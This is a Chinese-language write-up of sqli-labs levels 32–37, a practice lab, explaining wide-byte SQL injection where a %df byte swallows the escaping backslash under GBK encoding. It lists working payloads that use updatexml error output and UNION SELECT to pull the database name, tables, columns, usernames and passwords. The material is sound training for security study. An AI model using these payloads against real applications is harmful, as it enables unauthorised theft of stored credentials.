sqli-labs(32-37)寬位元組注入
32 寬位元組-報錯注入
輸入?id=2'
,發現引號被轉義了,沒有報錯
一般情況下,這裡是不存在SQL注入的,但有一個特殊情況,就是資料庫使用GBK編碼,可以用寬位元組注入
寬位元組注入
概念
在mysql中,用於轉義的函式有addslashes
,mysql_real_escape_string
,mysql_escape_string
等,還有一種情況是magic_quote_gpc
,不過高版本的PHP將去除這個特性,寬位元組注入與HTML頁面編碼是無關的。
-
當某字元的大小為一個位元組時,稱其字元為窄位元組.比如 ASCII 編碼。
-
當某字元的大小為兩個位元組時,稱其字元為寬位元組.
-
常見的寬位元組編碼:GB2312,GBK,GB18030,BIG5,Shift_JIS等等
-
GB2312 不存在寬位元組注入,可以收集存在寬位元組注入的編碼。
-
UTF-8 編碼: 是一種編碼的編碼方式(多位元組編碼),它可以使用1~4個位元組表示一個符號,根據不同的符號而變化位元組長度。
原理
寬位元組將兩個字元作為漢字,當'
前加個%df
,被轉移後為%df\'
,由於\編碼為%5c,而%df%5c
為兩個位元組代表一個漢字,因此%df%5c
成為一個字,'
沒有被轉義成功逃逸
實戰
?id=2%df'
可以看到一個無法顯示的中文字元,雖然顯示單引號被轉義了,但是它報錯了,實際上是成功了
獲取資料庫名?id=2%df' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
由於單引號被轉義,在查詢語句中不能用單引號,因此只能採用巢狀查詢table_schema='security'
換成table_schema=(select database()
來獲取表名,
?id=2%df' and updatexml(1,concat(0x7e,(select (group_concat(table_name))from information_schema.tables where table_schema=(select database())),0x7e),1)--+
獲取users的欄位名
?id=2%df' and updatexml(1,concat(0x7e,(select (group_concat(column_name))from information_schema.columns where table_schema=(select database())and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1)),0x7e),1)--+
獲取密碼
?id=2%df' and updatexml(1,concat(0x7e,(select (password)from security.users limit 7,1 ),0x7e),1)--+
原始碼分析
關鍵就是這個函式,它轉義單引號,雙引號,和任意數量的反斜槓
33 寬位元組-報錯注入-addslashes()
初次嘗試
試了試32關的語句,正常顯示,那這一關特別在哪裡呢?
?id=2%df' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
區別之處在哪?
?id=2%df' and updatexml(1,concat(0x7e,(select (group_concat(column_name))from information_schema.columns where table_schema=(select database())and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1)),0x7e),1)--+
看看原始碼
區別就在32是自己寫的函式,這一題用的自帶轉義函式addslashes()
addslashes()定義和用法
addslashes() 函式返回在預定義字元之前新增反斜槓的字串。
預定義字元是:
- 單引號(')
- 雙引號(")
- 反斜槓(\)
- NULL
可以說和32關的功能大差不差,繞過方式也一樣
34 寬位元組-Union查詢-POST-addslashes()
初次嘗試
POST抓包修改
被轉義了
試試寬位元組注入111%df'
,報錯了,看來可行
這次採用Union查詢試試
1%df'order by 3#
1%df'order by 2
1%df'union select 1,2#
獲取資料庫名
獲取表名
1%df'union select (select (group_concat(table_name))from information_schema.tables where table_schema=(select database())),2#
獲取users欄位名
獲取使用者名稱和密碼
1%df'union select (select group_concat(username) from security.users),(select group_concat(password) from security.users)#
看看原始碼
使用者名稱和密碼轉義,資料庫設定為GBK,寬位元組注入繞過
35 寬位元組-數字型-addslashes()
初次嘗試
?id=2'
直接報錯了是怎麼回事?先判斷注入型別
?id=2 and 1=1
?id=2 and 1=2
由此可以得知為數字型注入
接下來採用報錯注入還是Union查詢都可以
原始碼分析
使用轉義函式addslashes()
進行處理,id為數字型
36 寬位元組-mysqli_real_escape_string($con, $string)
原始碼出問題了,頁面不顯示結果,這道題沒法做了
與上一題原始碼對比,不同之處在於轉義函式換成了mysqli_real_escape_string($con, $string)
,會被進行轉義的字元包括: NUL (ASCII 0)
,\n
,\r
,\
,'
,"
和 Control-Z
.
PHP: mysqli::real_escape_string - Manual
由於資料庫為GBK編碼,還是採用寬位元組注入
37 寬位元組-post-mysqli_real_escape_string($con, $string)
初次嘗試
post傳參,burpsuite伺候
12'
單引號被轉義
嘗試寬位元組注入12%df'
,報錯,單引號字元型1
12%df' order by 3#
12%df' order by 2#
欄位名為2
接下來就是Union查詢或者報錯注入,略
原始碼分析
mysqli_real_escape_string($con, $string)
轉義特殊字元:單引號